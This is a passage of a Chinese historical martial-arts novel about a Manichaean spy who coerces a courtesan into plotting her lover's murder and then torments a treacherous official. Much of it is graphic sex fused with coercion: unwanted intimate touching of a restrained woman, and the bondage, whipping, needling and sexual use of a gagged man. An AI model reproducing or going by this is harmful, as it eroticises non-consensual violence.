安插眼线亲信,怎能保我教来日之位?你等无耻之徒以为隐蔽行事,在我教眼中,
不过小丑跳梁罢了!」
巧云闻言,全身一颤,自顾自道:「身边?晓月!」
克里斯蒂娜眼波流转,笑而不语。
巧云颤声:「她目不识丁,口不能言俱是假装?」
克里斯蒂娜笑而不言。
巧云神色颓然道:「五年前雪夜中,她在路边冻饿将死,我说服四师公将她
收留……都是假的?那时她才十一岁,你们明教好狠的心肠!」
克里斯蒂娜大笑,却没有接话,而是悠悠言道:「折翎不死,金人定难仿当
年邓艾灭蜀故事。这折翎……你到底何时下手杀他?」
巧云气苦而惊,悲声道:「廿三郎与我恩深情重,相许白头,我……我怎会
杀他?当日我并不知你明教与我门左使有金人借此路入蜀之议,不然我绝不会带
他来此!我喂他微毒,只是想让他避居此地将养,不理山外事,却不是想害他!」
克里斯蒂娜一哂道:「折翎若是知道自己竟被心爱之人喂毒数月,还会信你
么?他待那些所谓兄弟,一向假仁假义地视同手足,若是知道你门杀了其中两人,
又知你今日在这崖前松手不救,他又会如何待你?」
巧云闻其语,怔而不言,面上颜色几变,一双手在身侧握紧散开,数度往复。
终缓缓起身,长叹顿足喝一声:「好!我去杀他!」
话音刚落,场左大木后灌木丛中一丛枝叶忽猛地一下摇晃,沙沙作响。巧云
色变,克里斯蒂娜清咤出口:「何人偷听?出来受死!」
第五章阴错阳差
灌木丛中又是一连串枝叶晃动,沙沙杂杂由远及近。两只松鼠彼此追逐,嬉
戏而出,见了场中的克巧二女,吃惊地左右分散、窜回林中。
克里斯蒂娜见状失笑,回顾巧云道:「那我等夫人的好消息!时日不多,还
望夫人加紧动作。若需一臂相助,切莫忘记娜娜就在房中苦等。」
巧云恍若未闻,垂首无语。克里斯蒂娜也不顾管,上前挽起巧云臂弯道:「
先前多有得罪。还请夫人一道回去,娜娜将房中存的我教上好药粉与夫人涂抹些,
免得在细肉上落下疤痕,惹恩客不悦。」
巧云自知敌克里斯蒂娜不过,又有把柄落在人手,索徒报怒目,却是无可奈
何、被她拉拽着去了。
二女离去未久,适才晃动的灌木丛中便闪出一人来。摇摆摆腿血未顺,惊恐
恐面色青白,翠生生婢衫如旧,空荡荡披帛已无。一手扶木,另一手使粉拳捶腿
活血,正是侍婢晓月。她面露难色、眼光灵转、心有所思。但将适才听得的消息
在识海中咂摸了数十遍,仍是无计可施。
今日晓月见自家小姐神情苦楚、语焉非常,心中本就担起了一份心事。待巧
云走后出门泼水,恰又见白小六手提尖刀一路蹑踪潜随,心下惊惧大骇。曳金莲
勉强跟到此处,正撞到平日里与自己最为相善的娜娜姐从琴师变作恶狼、将小姐
痛打,紧接着又目睹白小六命丧悬崖,这一副不禁风的身子更是六神无主、摇摇
欲坠。待听得克里斯蒂娜言小姐喂将军以毒、再诬自己为间,至最末巧云喝出欲
杀折翎,当即立足不稳、一跤跌倒。虽幸得那两只松鼠嬉闹而逃过一劫,但心中
所担却有增无减。思来想去,怎也思不出为何谷中熟悉之人皆不是本来面孔。只
觉得自家小姐与将军情笃,不会痛下杀手;转念再想,却又觉得小姐呼喝时神色
并不似自己初入谷时那般不愿。
晓月虽自幼被巧云拾入倡家、未得读书识字,但闲时却在茶厅中听多了说书
艺人讲的英雄故事,其中关窍,被她深深记牢。在京口随小姐初遇折翎、韩世忠
时,一颗稚嫩女儿心,便已被这两个剿乱匪英雄塞了个满满。后来巧云随了折翎,
晓月日夜在二人身边侍候,遂将这一副心神皆许在了折翎身上。因觉得折翎与对
自己有再生之恩的小姐实乃天作之合,故此把这心事压下,却少不得夜夜痛苦难
过。如今见到听到这般情势,真是左右两难,站在那里思量不定:「自家一身一
命全是小姐所赐,莫非真的要舍了与小姐,助她取了将军性命?可自家虽不懂何
为家国战事,但金人凶悍残忍却是在富平至此间路上亲见了的。将军英武豪迈,
与此等恶人对抗,定是大大好事。自己若是任小姐害了他,那便是大大的不对。
更何况每每夜梦与将军分离,自己尚要泪湿头枕,将军若是死了,怕是我也只有
随他死去方得快意。我死,小姐又该谁来服侍?」究竟如何是好,怎也踟蹰难决。
晓月恍惚思索间,不自觉的行了些步,脚下被硬物一硌,醒过神来。低头去
看,却是方才白小六与克里斯蒂娜打斗时落在此处的牛耳尖刀。晓月一眼扫去,
见刃口已缺、刃上血迹斑斑,骇的一颗心咚咚直跳。思及克里斯蒂娜居然会武,
心下更是骇然。转念一想,将军武艺高强,自家小姐貌似只是善舞,连克里斯蒂
娜都舞不倒,未必能是将军对手,倏忽间心里轻了许多。长吁一口气,方欲展颜,
却又惦起那平日里最喜与自己诙谐的白小六。念及往日顽笑音貌犹在,如今天人
永隔;又想到他方才回护小姐义举,遂眼眶一红,垂泪欲滴。矮身将地上尖刀颤
巍巍拾起,用丝帕包了揣在袖中,心中又怀了将不将此事告与将军的两难愁眉离
去。
行之未久,转出林木,再复行行,终出得小径,兜过耳房。自家屋在左近前,
克里斯蒂娜居所在右遥望。晓月惧自己小姐与克里斯蒂娜发现自己适才入谷偷听,
遂沿着耳房窗根潜行,欲悄然回房。刚行到正厅廊下,忽闻克里斯蒂娜房中一女
娇声呼痛。其声虽极力压抑,却瞒不过晓月灵耳。晓月辨出自家小姐,心中担忧
远过惊惧,咬紧牙踮了脚便往克居蹑足摸去。
看看将近,忽一阵风来,客居墙面竟为之飘动。晓月一怔,凝神观望,见一
灰青衣文士正贴壁纹丝不动,把一双眼由窗纸小洞向内窥视。那人衣料颜色与筑
基青石颇为相近,发色又褐如窗木,若无风来竟是瞒过了晓月之目。晓月吃那人
一惊,险些叫出声来。矮身细瞧,窥视人乃是议事厅中言语堂皇、飘洒而去的风
慎。晓月记起在厅中时,小姐、将军与安鸿公子对风慎自白后的态度神情,心下
稍安,寻思道:「风大人得小姐、将军敬重,自是极好之人。他定是知晓了娜娜
姐身份,故此来保护我家小姐周全。既得他在此,我心可安。切回去顾着将军方
是正经,也免得小姐回房寻我不见,更生事端。」
晓月思毕,恐自己坏了风慎护巧云之事,大气也不敢出一口,静悄悄原路退
回房去,却不知窗边风慎正看得瞠目生唾、涎水欲滴,方才厅中的凛然大义哪还
有一丝一毫留在面上?
屋内设施简陋,只二椅一桌一胡床,再无他物。风慎视线无阻,直勾勾落在
俯卧胡床、连臀瓣都露出半个的无缕美背之上,再难暂离。克里斯蒂娜坐在床侧,
右手拿一青瓷细口小瓶,左手沾了些药粉,用些许清水调成糊一点点敷在巧云伤
处。
克里斯蒂娜在谷中虽是含忿出手,但手下却是留了轻重。巧云背臀间横七竖
八皆是红印,却只有两三处损了皮肉,其他地方只是泛红。室间二人虽俱是女子,
但巧云一生只曾与折翎赤裸相见,故此时裸背露臀颇为羞怯,一张脸红布般不说,
便是连肩胛也晕红了些许,更添美背娇嫩。克里斯蒂娜一向误以为她恩客无数,
因此心中以为巧云假作此态而不屑,故意拿她耍乐。手劲似轻实重,每逢腰间酸
软穴道便出力按摩,直弄得巧云心中烦乱、股间痒麻。巧云暗自忍耐,却难敌克
里斯蒂娜素手再三,终于娇喘出声。
克里斯蒂娜今日弑背主、逼巧云,大获全胜、心情极佳,闻声调笑道:「夫
人,娜娜手法比你那些恩客如何?可曾令夫人之幽谷山涧现于林间?」
巧云连番造劫,心情沉痛,却碍于武艺只得忍耐。暂时将杀廿三郎事虚应下
来,心中却暗有定计,欲杀克女而后快,遂小忍大谋、自出谷起唯闷声不语。此
时闻克里斯蒂娜淫语亵调,气愤难耐,一呼一吸间颇不平顺,压在身下的浑圆乳
丘时隐时露。窗外风慎一眼瞥见,不自觉的把头脸向着窗子靠近了些许。微风吹
拂,颌下几根长髯在窗纸上轻轻划过,尚不自知。
克里斯蒂娜耳尖微耸,寻思着折翎高卧、安鸿磊落、风慎潇洒、王砦主怯懦、
魏庆去远,定是砦中兵丁或家眷偶过偷窥。料情形已定、心下又起了戏谑,将手
在巧云臀瓣上各揉了几揉,又在离开时把食中二指在她股沟间一撑一探,指尖剩
余药糊皆留于其后庭,倏忽而去。
巧云吃她二指调戏,只觉得后庭先是一阵清凉,紧接便是由外及内的火辣,
谷道间似有便意却又无法宣泄。急收紧了檀色花瓣,却将那股火辣挤得更往里延,
透过薄薄的壁间细肉往曲径通幽处发散过去。火辣透壁,化作丝丝热浪,一点点
在内中晕化开来,如水雾般将通幽内笼住,直无处派遣。巧云无奈,将臀股在胡
床上磨来蹭去,只求热浪早逝,还复平常。克里斯蒂娜见她情状,也不答话,美
目往窗外一瞟,起身一掌击在巧云臀瓣上一道红痕处,做啪一声响,只打的那臀
肉荡洒洒如风过柳,汹涌涌似浪击舟。
巧云心中股间本就被那热流冲的堤塌坝倒,此时生生受了克里斯蒂娜这一记,
再也难以抵挡。腿间一松,几弯清冽甘泉自曲径中汩汩流出,没了芳茅草,湿了
小亵襦。
克里斯蒂娜见榻上那玉人江潮涌动、水打沙滩,自己也有些心旌摇晃。记得
当年与方十三颠鸾倒凤时,自己恰恰也似这般,遂不自觉夹紧了双腿。转回神惊
觉心下竟是动了蛰伏许久的红鸾,不由自嘲般嗤地笑了出声。巧云以为克里斯蒂
娜取笑于己,虽羞惭气恼却又委实舒爽,颊泛桃红、回首怒目,可那怒中却怎么
都蕴着小半春意,浓醇难散。克里斯蒂娜见巧云此时将身正对了外间人所窥那窗,
整个酥胸都被人看了去,心中快活,眉眼间尽是得意,在那里对着巧云挑眉戏笑。
巧云见她模样,方悟自己酥胸全露,赶忙一个翻身以背相对,不迭将床内放着的
外袍悉索穿上。只是衣衫易裹、溪水难退,股间仍是一片粘滑。
克里斯蒂娜不管巧云模样,只是凝神细听,得襟袖相擦之声几数。以为偷窥
者远遁,正思追或不追间,又闻那声绕行房侧停在房后,竟是站住不走。克里斯
蒂娜游眸转念,知来者必有事相商,却不知是何人。遂轻笑道:「夫人,娜娜的
手法如何?可让夫人满意了?如若夫人愿得意满,那就请夫人回房,善谋适才应
我之事。」顿了一顿又冷面森然嘱道:「切莫让娜娜等得太过心焦!」
巧云整衣已毕,下胡床立足不稳,身形一晃,扶床语带寒霜道:「谨遵所命,
不敢有违!几日之内,必有所报!」
克里斯蒂娜也不在意,侧身让出门口,笑面一福、扣手无言。待巧云摆裙碎
步去远,抬手在后窗三扣,微微扬声道:「贵客窥之已久,怎又吝于一见?」
房外先是无声,继而轻笑一叹,脚步踢踏声响,由后转前。风慎进门,当头
一揖道:「娜娜姑娘好强的耳力!风慎佩服!」
克里斯蒂娜见窥者是他,愕然一怔。想起他在议事厅中那番正直飘洒,忍不
住咯咯娇笑,双乳乱摇,待风慎直了双眼,方启唇问道:「好看么?」
风慎被问的尴尬,斟酌嗫喏道:「娜娜姑娘风华绝代,自是……自是美艳不
可方物。风某唐突,还请姑娘宽宥则个!」
克里斯蒂娜微哂道:「我说的是云夫人的臀背酥胸!适才不是全被风大人窥
了个确实么?」
风慎闻言略略一顿、随即恍然,正襟捋髯笑道:「那巧云美仪容、端行止、
肤嫩若水、足俏如莲,惜哉落入一武夫之手,恰似珠玉蒙尘。风某既得机,自要
赏玩一番,方才快意。娜娜姑娘冰雪聪明,仗义出手相助,一解风某慕美之心。
在下谢过!」言罢,又是一揖。继而起身,笑面不语。
克里斯蒂娜未曾料想风慎无耻的如此直率,蹙眉横瞥道:「不过京口倡家一
红倌人,值的你一位朝堂大人如此么?」
风慎捻须闭眼陶醉道:「待人接物落落大方,言语礼数滴水不漏。哪里有足
不出户、大家闺秀若巧云者,将身边各色人等梳拢的熨帖顺服、甘为效死?我想
她来历必不寻常,可不想竟是如此?这倒说得通了!有劳娜娜姑娘解惑。」
克里斯蒂娜见风慎镇定自若,吃了一惊,久久凝视,暗暗思量:「此人一改
众人前惺惺之态,言语间又对巧云多有不敬,我宋语流利似也在其意料之中,莫
非确有所悟?」捏了粉拳在身侧暗暗戒备,又想:「不对!此人乃宋廷一吏,在
厅中何等慷慨激昂。怕是看破了我等行事,伙了折翎安鸿前来探我口风。不如杀
了丢在小谷中那崖下,一了百了。」
风慎见克里斯蒂娜定定看着自己,只是捏拳不语,以为自己料错了巧云与她
的从属关系,方才所言惹她不快,遂呵呵笑着试探几句:「娜娜姑娘所谋者大,
风慎数月来也略略猜到几分。折翎安鸿一众顽固不化,恐为姑娘途中挡路大石。
风某自问胸中有些韬略,在朝中及张枢密处亦有些人情薄面在。姑娘若是与我一
同谋事,必可收折翎安鸿为己用,于大潮中左右逢源,事半而功倍。」
克里斯蒂娜心中计议方定,便听了风慎这番言语,遂媚媚一笑,面上开了朵
牡丹也似。向前趋了几步挨到风慎身边、暗蓄内劲,以一手抚其背、另一手搭于
其胸前捻了几根胡须把玩道:「风大人有何计较,不妨说与娜娜知道。」
克里斯蒂娜高挑,一张吹弹可破的脸蛋正与风慎眼光平齐。风慎看着咫尺内
这张宜喜宜嗔的俏脸,鼻尖皆是女子香气,飘飘然万般魂与,茫然不知自己前胸
后心诸处穴道皆已受制于人。色眼亵声道:「娜娜姑娘比那巧云也是不遑多让,
真乃世间尤物!如此娇艳女子,谁知竟是此险砦之主?在下虽早已看出那王砦主
万事不得做主,但若不是今日议事厅中王砦主遇事只将一双眼向巧云那边请示,
而巧云适才又定是犯错被娜娜姑娘责打,风某心中亦是不能定计!」
克里斯蒂娜听得风慎所言有差,心中略定、劲力不收,启朱唇轻轻问了声:
「哦?」
风慎自以为得计,洋洋得意,假作捻须却试探着触了触克里斯蒂娜圆润指尖,
故作悠然道:「金人势大,打得我我大宋皇室北狩,国事难振。张枢密集西军能
战之卒四十万,依旧败军失地、不可收拾。上至官吏下至走卒,俱是人心惶惶,
以为国祚难保。娜娜姑娘本就是异族英雌,虽与金人分属不同,但毕竟较宋人亲
厚些个。今日闻金人已至砦口,姑娘意欲举砦降金乃是自然。只是如今我大宋西
有巴蜀之险,南存江南天堑,尚有半壁河山。宋金之争,鹿死谁手、犹未可知。
姑娘若是信得过在下,便暂缓降金,且与他虚以委蛇。待风某下山寻得张枢密,
保姑娘在山中抗敌,乞遣兵援。张枢密英武节义,定然派大军来砦。折翎、安鸿
之辈皆受宋军约束,自会随军苦战,无暇顾及姑娘。那时,你我二人便可从中取
利。金胜、入蜀,则降金;宋胜、复陕,则归宋。此计足可保诸葛砦于此乱世屹
立不倒,却不知姑娘意下如何?」
克里斯蒂娜在江南曾遭大变,女子玲珑内最恨背主求荣、豺狐肺心之人。此
时听风慎洋洋洒洒一番阔论,只恨的娇躯颤抖、牙根发痒,全忘却了发论者立论
之初便尽皆是错。风慎趁说话间已将克里斯蒂娜的修长美手整个抓在手中抚弄,
此时见她情状,还道已被自己说话、手法打动,遂喜不自胜的眯起眼一面摇头晃
脑,一面用双手揉捏起那只嫩滑柔荑。
克里斯蒂娜气恼间忘却了手所在处,待醒觉时已被风慎抓了个圆满。此时见
他得寸进尺,心中虽是一阵厌烦,久未与男子有过接触的身子却淡淡透了些情愿。
将被抓的手反往风慎怀内送了送当做临死时的甜头,另一只手在他身后撮掌成刀、
冷哼一声问道:「你是大宋臣子,自当食禄担忧,怎敢起了背主降金的念头?简
直猪狗不如!」
克里斯蒂娜语罢,便欲一掌劈下,取了风慎性命。不料风慎闻言,握柔荑不
舍,放声大笑,声震屋瓦。克里斯蒂娜将手缓了缓,喝问:「有何好笑?」
风慎抚手悠然道:「娜娜姑娘,风某来寻你说话,乃是一片挚诚,姑娘何必
出此言试探?看姑娘面貌,虽是远北狄而近西胡,但与中土总是不亲切,又何来
这种愚忠之念?风某身为宋臣,尚知良禽择木。人生在世,得保富贵权势方为正
经。风某若不是被折翎那武夫裹挟至此绝地,早已奔府州寻那折可求去了。明大
势、识时务,智者所为也!风某不过天地一刍狗,宋臣金臣有何所谓?金人得势,
又有我这等士人归附,取天下也容易些个!宋人收复,又有我这等士人襄助,振
中兴也简单许多!此正我辈待价而沽之时,风某怎会如此愚钝?我之言语,亦与
娜娜姑娘此时相同,姑娘意下如何?」
克里斯蒂娜一旁静听风慎所言,怒极而笑,正欲劈掌切下、断其颈骨,却恰
恰听到其宋金两立、待价而沽之语,不由心中一动。心中暗忖道:「我明教自十
三郎事败已然势微,且为宋廷所不容。与蜀中孟门所议复国后为国教之事,虽得
金人相助,却依旧渺茫。倒是往见完颜宗辅时,曾谈及我教教义,为其所喜。我
教欲重兴,无论从孟从金,恐皆与金人脱不得干系。此人虽卑鄙,却有其所用处。
无论放诸金宋,皆对我教有利。且先放他去,待我教事成,寻而杀之不晚。」
风慎见克里斯蒂娜既不做声、又不抽手,更确实了心中所想,色眯眯地在她
手上亲了一口道:「再说,风某这具皮囊还颇具卖相!犹记当年在汴京,夜深灯
火上樊楼之时,也是众佳人座上一风流俊逸。一众佳人中,多有以得了风诗为荣
的。娜娜姑娘若是有心,风某就在这房中为你吟诗一首,如何?」
克里斯蒂娜久前看巧云被自己佻的情动,心中勾起旧情,本就难耐。适才欲
杀风慎时又与他挨近,素手被捉、男子气息灌入鼻腔,身子又多了些扭捏。此时
虽是被风慎这一段自怜自恋之语惊得瞠目结舌,但手背被风慎髭须划得酥痒,这
久旷之身内也是情欲渐起。急喘息几口,欲与风慎消磨一番,却又实恨他卑鄙下
流。忽记起先得月中曾见一事,眼波流转,谑意大起,计上心头,将整个身子贴
上去娇声道:「原来风大人会作诗么?」
风慎由臂膀处感受到克里斯蒂娜动人波涛,色授魂予道:「那是自然!」
克里斯蒂娜媚态大起,柔声再道:「娜娜若是与风大人在此春宵一度,大人
可否以一长诗道尽其中风流快活,纤毫不漏呢?」
风慎只感小腹似火,猛转身一把将克里斯蒂娜搂在怀中,淫笑道:「嘿嘿,
那要看娜娜姑娘与我交融至何等境地了!无隙无间,自该长些!」
克里斯蒂娜只觉得一根如枪似棒的硬物戳在自己身上,似是隔了几层衣物仍
能感受其热烫,不由嘤咛一声倒在风慎怀中,用手指划了风慎脸颊道:「风大人
好急的性子!且把怀抱松些个,待娜娜为大人宽衣,也好尽意欢乐!」
风慎在克里斯蒂娜胸前摸了一把,从善如流道:「好好好!娜娜果真是个知
情识趣的妙人儿!」言毕便松手退开几步。尚未站定,就见克里斯蒂娜已然将外
罩轻纱袍子褪下,就半空中向自己扔过来。一副高挑美艳、凹凸有致的身体就那
样坦胸半露,惹人无限遐想。
须臾,纱袍自空中飘落。风慎举手相迎,纱袍却覆于头顶,将他罩在其中,
股股女子体香萦绕鼻尖。正眯眼细嗅间,一双软滑小手游上身体,将衣物一件件
顺序褪去。风慎举手抬足以动作相应,不一时便被剥得清洁溜溜,挺一条怒龙站
在屋中。独立有顷,屋内竟一丝动静也无。虽是沁心脾于女人香中不知山中岁月,
却也暗暗惊觉有些不妥,忙扯纱袍来看。纱袍掉落,见克里斯蒂娜仍只是半露,
俏生生站在切近向他微笑。
克里斯蒂娜见风慎看来,便伸手一捏风慎颌骨,将一块面巾塞入他嘴中。风
慎不知缘由,正瞠目戟指时,忽觉脚踝手腕一紧,继而便是天旋地转,只觉头脑
发胀。迷糊中放眼去看,自家头顶不远竟是地面青砖,克里斯蒂娜身姿亦成倒影。
风慎转眼思索,才知自己已被倒吊屋梁。满腔欲火登时化作惊恐,欲挣扎而不能
动,思大喊却做咿唔,吊在那处摇来荡去,状若脱土之蚯、离水之鱼。
克里斯蒂娜将风慎吊起,那不知何处来的麻绳尚余一截在手中。瞥眼回望,
见面盆中晨起所盛清水尚余,遂将绳头一甩,在盆中略沾了沾,再反手将绳做鞭
向风慎挥去。湿绳着肉,啪啪作响,不十数下,风慎白嫩身躯之上便已红痕凸显、
青紫斑斑。
风慎半生风流,早被酒色财气掏空了身子,如何抵挡得住这一番鞭笞。第一
声响时还只顾惊愕,第二声响时若无面巾便已开口求饶,待三五声响过,早已泪
流满面、痛苦不堪。克里斯蒂娜见他情状,手中惦着麻绳不屑道:「如虫似蛭、
色白不弯。这等残躯,竟臆想做我入幕之宾?真真可笑!」
风慎心中早悔,此时闻言,挤眉弄眼,满面求肯。欲做出诚挚之状,怎奈额
上青筋暴起、鼻侧涕泪横流、三绺长髯粘于其上、口中面巾将双颊顶得高高,只
一副狰狞滑稽模样。克里斯蒂娜也不去管他,只自顾自戏道:「哦?这时节仍敢
眼露凶光,面含威迫?风大人果然英雄了得!如此英雄,倒也值得我给些好处。」
风慎听克里斯蒂娜调笑,心内实感惧怕无奈。听到最后,闻得有所好处,又
寄望于前之绳鞭只是克女义愤教训,遂又于情怯间转了些许好奇出来,把一双泪
眼盯紧了来瞧。
克里斯蒂娜言罢,将那麻绳放在一边,立在房中阳光处缓缓宽衣解带。风慎
见状,以为自己所思无误,遂在心中暗暗发狠道:「你这胡种贱人,终究还是难
耐情动!待你放我下来,男上女下之时,我便将方才所受一切如数奉还,定要你
苦痛不堪、生死两难!」
风慎胯下那一条肉棒,实则还算粗长,此时有了心思在其上,便又颤巍巍挺
了起来。克里斯蒂娜方才虽是出言讥讽,但见了那一大坨在眼中,已然情动又久
未尝滋味的心内也着实盼望。自解衣时见风慎那条虫儿悠缓缓竟有化龙的兆相,
双手再滑过自家臀尖胸前时,面上便多了几分红潮。
未几,衣尽。那一副裸露躯体玲珑浮凸,豪乳、细腰、翘臀、长腿,俱是万
中无一。金色长发散乱垂于香肩、同色芳草萋萋生于下腹,又有日光自克里斯蒂
娜身后照进屋中,为她披上一层金色霞蔚,端的圣洁无匹、美不胜收。
风慎早看直了一双眼,若不是倒吊在梁,恐早已合身扑上。克里斯蒂娜见他
面目,禁不住噗嗤一笑,艳光四射。风慎无法言语,但胯下阳物已同欲火共升腾、
傲然直立。克里斯蒂娜轻扭慢摇来到风慎近前,一把将他那玉茎抓在手中,伸舌
尖在紫红的龟头上轻轻一点,又猛地将茎身含在口中。风慎只觉得下体先是一点
清凉,继而被一团火热紧紧包住,蹙眉深吸了口冷气,勉力将咽喉间生出的唾液
吞了下去。可阳具舒爽未尽,臀下异变已生。一股疼痛从尾椎处冲入,刹那间流
向四肢百骸,又在瞬息中集结回来,直把风慎痛的欲收茎软、睚眦将裂、冷汗直
流。
克里斯蒂娜笑靥盈盈,又从发中拔出一枚寸许金针,拈针望着风慎道:「我
刚刚记起,我那情郎命殒之时,风大人尚在汴梁安稳做官。娜娜先代他向大人取
些利息,待翌日你与我所商之事大功告成,再把那宋廷的官儿,一个个抓来杀了,
取心肝佐酒。」
风慎听得克里斯蒂娜说起二人商事,身子虽痛,心中却是一喜,以为所谋已
成。再往下听到杀官佐酒,方知一番说辞已误,身子一颤,不自禁地遍体生寒。
欲要再鼓三寸不烂之舌分辨,争奈口堵舌塞,只得急惶惶摇头示意。克里斯蒂娜
也不看他,俯首就口将风慎已软的阳物含了入口,双腿一分,把那只未拈针之手
探到私处捏揉。
风慎倒吊,一双眼将克里斯蒂娜那如花美鲍觑了个真切,确确粉嫩幽深,让
人垂涎欲滴。下体阳物又被一张温润小嘴含了,灵蛇般一条香舌绕着龟头四周纠
缠不休。不一时,软软的一条虫便又欲化龙出云。可但逢若软若硬之际,尾椎处
那针便传来阵阵刺痛,将提起的情欲击了回去。如是者不知凡几,针刺处终得麻
木,一条玉茎被克里斯蒂娜吮含的如一株紫竹,直苗苗挺立起来。
克里斯蒂娜口含玉茎,浓浓的男子味道自鼻尖口内直窜灵台,识海中满满当
当俱是方腊模样。一只手在私处蜜豆之上轻揉重蹭、缓捏快擦,桃源深处水声潺
潺、溪流汩汩,顺了手背腿根或滴或淌。正神迷情乱间,忽觉口中半硬不软之物
砰然耸立,鼓胀倍余,一下醒过神来,遂将另一手中金针向着一早便认好之处直
刺而下。
风慎终勘破疼痛,使欲火重燃,不料会阴处又是一股剧痛更甚于前。正呻吟
承受,却发觉此痛非彼痛,竟可令阳具逾疼痛逾坚硬,亦使得克里斯蒂娜那张檀
口变得越发小起来。虽是如此,但每硬上一分,疼痛便也随着加重一分,直搅的
风慎汗落如雨。
克里斯蒂娜也未曾料到如此,只觉得口中巨龙怒张乱搅,些许微涩汁液自龙
口处溢出,让人意乱神迷,遂不自禁地将私处手中动作也做快了些。不一刻便股
间酥软、全身酸麻、立不住身子。伸手环住风慎的身子,将自身重量皆挂于其上,
双腿夹紧,水漾身泄。
此时二人身体重量尽皆坠在屋梁之上,幸得梁柱年代未久,虽是间或咯吱作
响,却仍可支撑。风慎听闻,也顾不得脸上眼睑正在承受滴水,忙咿唔做声,摇
首示意。克里斯蒂娜面羞气喘,娇躯起伏,乍睁眼瞥见风慎面色恐惧,先是微愠,
继后促狭,飞身跃起,头下脚上,环臂分腿,整个人挂在风慎身上。绳索受力,
带着二人摇晃不止;屋梁不堪,声响愈发密集。
风慎恐惧,哭丧着一张脸再不敢挣扎半分。可眼前白里透红一张俏脸、鼻尖
若有若无淡淡馨香、身前玲珑妖娆滚烫胴体、前胸滑滑腻腻两团软肉,诱的本就
坚挺的下体更加刚硬。
克里斯蒂娜适才见风慎惧而起谑心,却忘记自己此时腿软筋酥。跳跃之际,
险些栽倒。此刻将风慎抱住,也是暗暗惊怕,芳心忙乱。因两腿大开,紧紧缠住
风慎臀股,此刻泥泞蓬门完全暴露。风慎那条玉茎恰在此时挺起,茎身颤动不止,
一点点一下下打在蓬门之上。克里斯蒂娜虽是自己以手抚弄泄了一回,但终究内
中空虚,未得快意。此时被昂藏阳物叩打,心中只是想要,也忘了该与不该。闭
目切齿,臂腿用力,哧溜一下将那探门之杵纳入户中。
可怜风慎吃这一遭鞭笞针刺,直到此刻方始得偿所望。只是屋梁之声实在闻
之惶恐,自身又是手无缚鸡、倒吊在堂,心内着实紧张,全无适才报仇念想。茎
上所套阴户,又是窄狭滑烫,方始一动,便有喷薄欲出之意。虽强自苦忍,但进
出凡十四数,便一发不可收拾,阳精汩汩、奔流而出。
克里斯蒂娜自方腊去后,独身久旷,在先得月及西奔这一路上不知听了巧云
与恩客、与折翎多少窗根。心痒难耐下虽难耐漫漫长夜而频频自渎,却从未与男
子交欢,以致性情都有些乖张。今日机缘巧合、被风慎男根引诱,终把持不住,
谁知却是如此结果。不由得将往日积攒的怨气邪火尽数赋予利齿,对着风慎脖颈
狠狠咬将下去。
风慎正舒爽失神间,忽觉剧痛自肩颈袭来,直至面目扭曲、颊肩俱麻仍不少
退。与适才金针刺痛相较,实乃天壤之别,只觉求生不得求死不能,两行清泪沿
旧痕流淌,入地无声。
克里斯蒂娜口中已然腥咸,心中愤愤犹自不减。翻身下地,俯下身躯,左右
开弓将一十四个耳光狠狠印在风慎颊上。又起身将两枚金针收回,跌坐在地上自
己衣物之中,亦是流下泪来。
风慎久历欢场,知女子心事犹如海底一针,非男子可猜度。面前胡女喜怒无
常,武功高强,乃是雌阎罗一般的人物,遂忍痛紧闭双目装死。屋内一时静谧非
常,针落可闻。
克里斯蒂娜身为明教特使,平日里虽为教宗连金盟蜀、做出好大一番事业,
但私房之中,毕竟仍是一花信年华之女子。此时伪装尽去、赤裸委顿,坐在那处
一时思念方腊,一时觉命数悲苦,一时怒骂折翎,一时腹诽巧云,一时暗恨自行
不端,一时只欲杀风慎泄愤。半晌,终是滤去杂思,还复清明,做回自己与生而
来、无可选择的明教使命。起身将衣裳一件件穿回,亦把厚重面具甲壳一点点戴
好。
风慎耳听悉悉索索之声,却不敢睁眼去看,只做昏死状。未几,觉手脚一松、
腹部一痛,整个人便横拍在床前地上。正犹豫该否睁眼时,只听克里斯蒂娜冷冷
说道:「莫装死,小心我一刀结果了你!」
风慎再无犹疑,一骨碌起身,就那么光着身子站定,规规矩矩,毕恭毕敬。
待克里斯蒂娜手指地上衣物,方施了一礼,快手快脚穿戴整齐。此时方感觉脸面
肿胀,每一震晃皆似骨肉分离,疼痛不已。
克里斯蒂娜见他穿戴已毕,便沉着脸挥手让他离开。谁知风慎站立不动,踟
蹰试探道:「适……才……我与娜娜姑娘所议……所议之事,不知姑娘意下如何?」
克里斯蒂娜不想他依然有胆惦着此事,略带愕然随口应道:「若我应允此议,
你待怎样?」
风慎暗暗吁口气,正色道:「此处若真是邓艾昔年入蜀之路,那么自后山绝
壁以绳坠下,必可直通蜀中。还请娜娜姑娘遣人助我自此处出砦,待我寻得张枢
密,便请他遣军来援。姑娘在此处,仍依旧法,使王砦主于折翎及金人处左右敷
衍,等宋军来战……」
克里斯蒂娜听得心烦,加诸适才心绪尚未平复,不等风慎话毕,截断冷哼道
:「你这狗贼,如此说来就是你自己先行逃离,弃此地于不顾?先生背主之心,
又添弃义之举,实在该死!」话音落,脚尖一挑,桌旁一椅飞出,直奔风慎而去。
风慎被飞椅砸个正着,踉跄倒地,不敢再发一言,只是揉身呼痛兼以眼暗瞥,
心中暗思道:「今日在议事厅只听了些算不得秘闻的秘闻,便险些被折翎、安鸿
取了性命。这砦子诡异非常,若再不逃走,恐夜长梦多。费尽心力思得这胡女许
是此砦主人,却不想是个疯的。如今白白受了这一番苦楚,真是无妄之灾!」
风慎只将这一番念头翻来覆去在脑海里转,面上做出酸涩痛苦,却不敢妄动
一丝一毫。一旁的克里斯蒂娜怒气稍止,意欲放风慎出砦祸害宋廷,免得在身边
使自家看着羞恼,无奈身边乏人可用,只得寻个由头先骗他出去,慢慢再想法子。
于是眼珠一转。喝道:「若不是看你所言尚有几分道理,此时便应将你毙于此处,
免我眼中麻烦。如今你且应承我一个条件,我便送你下山去搬救兵。」
风慎本以为此事无望,只求今日能全身而退,便是大幸。谁料听克里斯蒂娜
言语,却似犹有转寰,大喜问道:「莫说一个条件,就是十个八个,但我能做,
也便应了!」
克里斯蒂娜微哂道:「那此事便说定了!我最喜将男人剥光吊打,而后行房。
我看你相貌不差、又兼皮细肉滑,除那话太速外,其余尚得我心。你且如今日般
陪我三次,做三首若白乐天琵琶行般长诗,我即遣人送你下山便是!」
风慎闻言,心中暗叫声苦,抖唇嗫喏却不能成语。克里斯蒂娜见他满脸苦涩,
思及适才如何对他,忍不住噗嗤一声笑出声来。风慎见克里斯蒂娜绽出笑颜,心
